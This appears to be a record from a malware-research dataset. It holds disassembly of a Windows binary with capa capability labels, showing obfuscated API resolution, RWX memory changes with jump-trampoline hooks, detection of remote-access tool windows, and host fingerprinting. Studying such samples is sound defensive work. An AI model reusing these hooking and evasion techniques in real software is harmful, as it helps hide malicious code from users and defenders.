joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c580
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100394d1
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1004e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x1005725c]
test eax, eax
jne 0x1000c729
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1004ee24]
mov dword [ebp - 0x20], 0x92ddfd12
mov dword [ebp - 0x1c], 0x5c6bf39
mov dword [ebp - 0x18], 0x99cce314
mov esi, dword [eax + ecx*4]
mov word [ebp - 0x14], 0xd10a
mov eax, dword [esi + 0x33c]
test al, 1
jne 0x1000c64c
or eax, 1
mov dword [esi + 0x33c], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x11fe], 1
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x11f0], al
add ecx, 1
adc edx, 0
jne 0x1000c638
cmp ecx, 0xe
jb 0x1000c620
push 0x1003f5e0
call fcn.10038037
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x11f0]
mov ecx, edi
call fcn.10034b50
mov eax, dword [esi + 0xd30]
mov dword [ebp - 0x20], 0xbee7da0c
mov dword [ebp - 0x1c], 0x5ff79405
mov dword [ebp - 0x18], 0xf7c5ff3f
test al, 1
jne 0x1000c6cc
or eax, 1
mov dword [esi + 0xd30], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0xed0], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0xec4], al
add ecx, 1
adc edx, 0
jne 0x1000c6b8
cmp ecx, 0xc
jb 0x1000c6a0
push 0x1003f630
call fcn.10038037
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0xec4]
mov ecx, esi
call fcn.10034bb0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000c722
push 7
call fcn.10037f8e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x24]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x1000c724
xor eax, eax
mov dword [0x1005725c], eax
push 0
push 0
push 0
push 1
push ebx
mov dword [0x10053edc], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret
Function at 0x1000c760
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10039561
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1004e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], edx
mov ebx, ecx
mov eax, dword [0x10057260]
test eax, eax
jne 0x1000c8f9
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1004ee24]
movaps xmm0, xmmword [0x10047110]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xcd
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x9a0]
test al, 1
jne 0x1000c81c
or eax, 1
mov dword [esi + 0x9a0], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xae5], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0xad4], al
add ecx, 1
adc edx, 0
jne 0x1000c808
cmp ecx, 0x11
jb 0x1000c7f0
push 0x1003f680
call fcn.10038037
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0xad4]
mov ecx, edi
call fcn.10034a90
mov eax, dword [esi + 0x6a8]
mov dword [ebp - 0x20], 0xa447629a
mov dword [ebp - 0x1c], 0xe143c0f7
mov dword [ebp - 0x18], 0xed6547a9
test al, 1
jne 0x1000c89c
or eax, 1
mov dword [esi + 0x6a8], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1e0], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x1d4], al
add ecx, 1
adc edx, 0
jne 0x1000c888
cmp ecx, 0xc
jb 0x1000c870
push 0x1003f6d0
call fcn.10038037
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x1d4]
mov ecx, esi
call fcn.10034af0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000c8f2
push 7
call fcn.10037f8e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x1000c8f4
xor eax, eax
mov dword [0x10057260], eax
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp - 0x30]
mov dword [0x10054c78], eax
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret
Function at 0x1000c930
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100395f1
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x1004e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x38], edx
mov ebx, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x10057250]
test eax, eax
jne 0x1000cad9
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1004ee24]
movaps xmm0, xmmword [0x100471e0]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x89
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0xc90]
test al, 1
jne 0x1000c9fc
or eax, 1
mov dword [esi + 0xc90], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1629], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x1618], al
add ecx, 1
adc edx, 0
jne 0x1000c9e8
cmp ecx, 0x11
jb 0x1000c9d0
push 0x1003f720
call fcn.10038037
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x1618]
mov ecx, edi
call fcn.100349d0
mov eax, dword [esi + 0x15b4]
mov dword [ebp - 0x20], 0xe06dcede
mov dword [ebp - 0x1c], 0xc51d7413
mov dword [ebp - 0x18], 0xa94febed
test al, 1
jne 0x1000ca7c
or eax, 1
mov dword [esi + 0x15b4], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x6f0], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x6e4], al
add ecx, 1
adc edx, 0
jne 0x1000ca68
cmp ecx, 0xc
jb 0x1000ca50
push 0x1003f770
call fcn.10038037
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x6e4]
mov ecx, esi
call fcn.10034a30
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000cad2
push 7
call fcn.10037f8e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x1000cad4
xor eax, eax
mov dword [0x10057250], eax
push 0
push 0x8404f700
push 0
push 0
push dword [ebp - 0x30]
mov dword [0x10054b68], eax
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret
Function at 0x1000cb20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10039681
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1004e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x100572ac]
test eax, eax
jne 0x1000ccb9
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1004ee24]
movaps xmm0, xmmword [0x10046e10]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0xb1
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0xd5c]
test al, 1
jne 0x1000cbdc
or eax, 1
mov dword [esi + 0xd5c], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x3e9], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x3d8], al
add ecx, 1
adc edx, 0
jne 0x1000cbc8
cmp ecx, 0x11
jb 0x1000cbb0
push 0x1003f7c0
call fcn.10038037
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x3d8]
mov ecx, edi
call fcn.10034910
mov eax, dword [esi + 0xd60]
mov dword [ebp - 0x20], 0xe85b0ae6
mov dword [ebp - 0x1c], 0x6143cea3
mov dword [ebp - 0x18], 0xa1792fd5
test al, 1
jne 0x1000cc5c
or eax, 1
mov dword [esi + 0xd60], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x9b8], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x9ac], al
add ecx, 1
adc edx, 0
jne 0x1000cc48
cmp ecx, 0xc
jb 0x1000cc30
push 0x1003f810
call fcn.10038037
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x9ac]
mov ecx, esi
call fcn.10034970
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000ccb2
push 7
call fcn.10037f8e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x1000ccb4
xor eax, eax
mov dword [0x100572ac], eax
push dword [ebp + 0x10]
mov dword [0x10054358], eax
push dword [ebp - 0x30]
push dword [ebp + 8]
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret
Function at 0x1000ccf0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10039711
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1004e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x10057258]
test eax, eax
jne 0x1000ce89
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1004ee24]
movaps xmm0, xmmword [0x10046fd0]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x33
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x10c0]
test al, 1
jne 0x1000cdac
or eax, 1
mov dword [esi + 0x10c0], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x225], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x214], al
add ecx, 1
adc edx, 0
jne 0x1000cd98
cmp ecx, 0x11
jb 0x1000cd80
push 0x1003f860
call fcn.10038037
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x214]
mov ecx, edi
call fcn.10034850
mov eax, dword [esi + 0xe18]
mov dword [ebp - 0x20], 0xdeb92264
mov dword [ebp - 0x1c], 0x1d53d67b
mov dword [ebp - 0x18], 0x979b0757
test al, 1
jne 0x1000ce2c
or eax, 1
mov dword [esi + 0xe18], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xcbc], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0xcb0], al
add ecx, 1
adc edx, 0
jne 0x1000ce18
cmp ecx, 0xc
jb 0x1000ce00
push 0x1003f8b0
call fcn.10038037
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0xcb0]
mov ecx, esi
call fcn.100348b0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000ce82
push 7
call fcn.10037f8e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x1000ce84
xor eax, eax
mov dword [0x10057258], eax
push dword [ebp - 0x30]
mov dword [0x10053ad4], eax
push 0x64
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret
Function at 0x1000cec0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100397a1
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1004e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x100572bc]
test eax, eax
jne 0x1000d059
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1004ee24]
movaps xmm0, xmmword [0x10047340]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0xe128bb43
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0xcf4]
test al, 1
jne 0x1000cf7c
or eax, 1
mov dword [esi + 0xcf4], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x10b0], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x109c], al
add ecx, 1
adc edx, 0
jne 0x1000cf68
cmp ecx, 0x14
jb 0x1000cf50
push 0x1003f900
call fcn.10038037
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x109c]
mov ecx, edi
call fcn.10034790
mov eax, dword [esi + 0x1350]
mov dword [ebp - 0x1c], 0xa8039e70
mov dword [ebp - 0x18], 0xb1033c35
mov dword [ebp - 0x14], 0xe121bb43
test al, 1
jne 0x1000cffc
or eax, 1
mov dword [esi + 0x1350], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x8e8], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x8dc], al
add ecx, 1
adc edx, 0
jne 0x1000cfe8
cmp ecx, 0xc
jb 0x1000cfd0
push 0x1003f950
call fcn.10038037
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x8dc]
mov ecx, esi
call fcn.100347f0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000d052
push 7
call fcn.10037f8e
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x1000d054
xor eax, eax
mov dword [0x100572bc], eax
push ebx
mov dword [0x10054de0], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret
Function at 0x1001a1e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10039d11
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x1004e00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1004ee24]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10057284]
cmp eax, dword [ecx + 0xc]
jle 0x1001a275
push 0x10057284
call fcn.10037a4b
add esp, 4
cmp dword [0x10057284], 0xffffffff
jne 0x1001a275
mov dword [ebp - 4], 0
mov ecx, dword [0x10053f2c]
mov eax, dword [0x100506ac]
add eax, 0x148
push eax
mov edx, dword [ecx]
call dword [edx + 4]
add eax, 4
mov dword [ebp - 4], 0xffffffff
push 0x10057284
mov dword [0x10057238], eax
call fcn.10037a01
add esp, 4
mov ecx, dword [0x10053f2c]
mov eax, dword [0x100506ac]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x1001a300
cmp dword [0x1005599c], 0
je 0x1001a300
mov eax, dword [0x100506ac]
mov ecx, dword [eax + 0x298]
mov eax, dword [0x10054dec]
mov ecx, dword [eax + ecx]
call fcn.1000e0d0
mov esi, eax
test esi, esi
je 0x1001a300
mov ecx, dword [0x10053f2c]
push 0x100551f0
mov edx, dword [ecx]
call dword [edx + 4]
test eax, eax
je 0x1001a300
mov edx, dword [0x100544e8]
add edx, eax
cmp edx, eax
jbe 0x1001a300
mov ecx, esi
call edx
test eax, eax
jle 0x1001a300
mov edi, dword [0x10057238]
test edi, edi
je 0x1001a32d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3a8312a2
jmp 0x1001a321
mov edi, dword [0x10057238]
test edi, edi
je 0x1001a32d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3e19999a
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10037659
mov esp, ebp
pop ebp
ret

Function at 0x1001a9a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x10050090], 0
jne 0x1001aa03
mov edx, 0x54
xor eax, eax
mov cl, byte [eax + 0x100466a0]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x18], cl
and edx, 0x800000ff
jns 0x1001a9d3
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x15
jl 0x1001a9b6
lea eax, [ebp - 0x18]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0xcdda
mov dword [0x10050090], 1
mov dword [0x10055294], eax
add eax, 0x18
mov dword [0x100545fc], eax
mov esp, ebp
pop ebp
ret
Function at 0x1001af60
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
cmp dword [0x1005042c], 0
je 0x1001b30d
mov ecx, 0x4c
xor edx, edx
nop word [eax + eax]
mov al, byte [edx + 0x100466bc]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x20], al
and ecx, 0x800000ff
jns 0x1001af9d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xb
jl 0x1001af80
push esi
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0x20]
push eax
push 0
mov byte [ebp - 0x15], 0
call esi
test eax, eax
jne 0x1001b001
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x14]
push eax
push 0
mov dword [ebp - 0x14], 0x6d616554
mov dword [ebp - 0x10], 0x77656956
mov word [ebp - 0xc], 0x7265
call esi
test eax, eax
jne 0x1001b001
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x44796e41
push eax
push 0
mov dword [ebp - 4], 0x6b7365
call esi
test eax, eax
jne 0x1001b001
mov dword [0x10054c40], eax
pop esi
mov esp, ebp
pop ebp
ret
xorps xmm0, xmm0
mov dword [0x10055960], 0
mov eax, 1
mov dword [0x10053f08], 0
mov dword [0x10054c88], 0
mov dword [0x10054de4], 0
mov dword [0x1005436c], 0
mov dword [0x10053aa0], 0
mov dword [0x100507b4], 0
mov dword [0x10054610], 0
mov dword [0x10055200], 0
mov dword [0x10053ed8], 0
mov dword [0x10054388], 0
mov dword [0x10050658], 0
mov dword [0x10050720], 0
mov dword [0x100544b0], 0
mov dword [0x100502fc], 0
mov dword [0x100506a8], 0
mov dword [0x10054378], 0
mov dword [0x10053c78], 0
mov dword [0x1005599c], 0
mov dword [0x100507e0], 0
mov dword [0x1005028c], 0
mov dword [0x10055948], 0
mov dword [0x10054b8c], 0
mov dword [0x10054c3c], 0
mov dword [0x10054334], 0
mov dword [0x10054c04], 0
mov dword [0x10055c18], 0
mov dword [0x10055998], 0
mov dword [0x10053aa4], 0
mov dword [0x10054b84], 0
mov dword [0x1005073c], 0
mov dword [0x100559e8], 0
mov dword [0x1005595c], 0
mov dword [0x100544e4], 0
mov dword [0x100545cc], 0
mov dword [0x10054c70], 0
mov dword [0x10054524], 0
mov dword [0x10055c24], 0
mov dword [0x1005433c], 0
mov dword [0x1004fe58], 0
mov dword [0x100559e0], 0
mov dword [0x10054374], 0
mov dword [0x1005460c], 0
mov dword [0x1005437c], 0
mov dword [0x10054c9c], 0
mov dword [0x10055550], 0
mov dword [0x10050670], 0
mov dword [0x10050664], 0
mov dword [0x100559c4], 0
mov dword [0x10053ed4], 0
mov dword [0x100551e4], 0
mov dword [0x10054b60], 0
mov dword [0x10054540], 0
mov dword [0x10054c60], 0
mov dword [0x10050420], 0
mov dword [0x10050438], 0
mov dword [0x10050318], 0
mov dword [0x10055c38], 0
mov dword [0x10053e94], 0
mov dword [0x10053ad8], 0
mov dword [0x100559d0], 0
mov dword [0x10054340], 0
mov dword [0x1005069c], 0
mov dword [0x10054c94], 0
mov dword [0x10054554], 0
mov dword [0x10053adc], 0
mov dword [0x10050440], 0
mov dword [0x1005454c], 0
mov dword [0x10050300], 0
mov dword [0x1004e018], 0
mov dword [0x10054c1c], 0
mov dword [0x100559cc], 0
movups xmmword [0x10055210], xmm0
mov dword [0x10055238], 0
movups xmmword [0x10055220], xmm0
mov dword [0x10055994], 1
movq qword [0x10055230], xmm0
mov dword [0x10054c40], eax
pop esi
mov esp, ebp
pop ebp
ret
mov dword [0x10054c40], 0
mov esp, ebp
pop ebp
ret
Function at 0x1001dd10
Capabilities:
Get hostname

Disassembly:
push 0x1004e058
push 0x10054c4c
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.1001dc20
cmp eax, 1
jne 0x1001dd3c
push str.Win_XP
push 0x10050a48
call fcn.100045b0
add esp, 8
call fcn.1001dc20
cmp eax, 2
jne 0x1001dd58
push str.Win_Vista
push 0x10050a48
call fcn.100045b0
add esp, 8
call fcn.1001dc20
cmp eax, 3
jne 0x1001dd74
push str.Win_7
push 0x10050a48
call fcn.100045b0
add esp, 8
call fcn.1001dc20
cmp eax, 4
jne 0x1001dd90
push str.Win_8
push 0x10050a48
call fcn.100045b0
add esp, 8
call fcn.1001dc20
cmp eax, 5
jne 0x1001ddac
push str.Wi_10
push 0x10050a48
call fcn.100045b0
add esp, 8
ret
Function at 0x1001faf0
Capabilities:
Get disk information

Disassembly:
push esi
push 0x64
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov esi, eax
push 0xff
push 0x10054398
push 0x10053f0c
push 0x100507c8
push 0x10053c84
push 0xff
push 0x10050320
push 0x100467a8
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x10053c84]
mov eax, ecx
shl eax, 5
add eax, ecx
push eax
imul eax, ecx, 0x19
push eax
push str._2x_2x
push esi
call fcn.100045b0
add esp, 0x10
mov eax, esi
pop esi
ret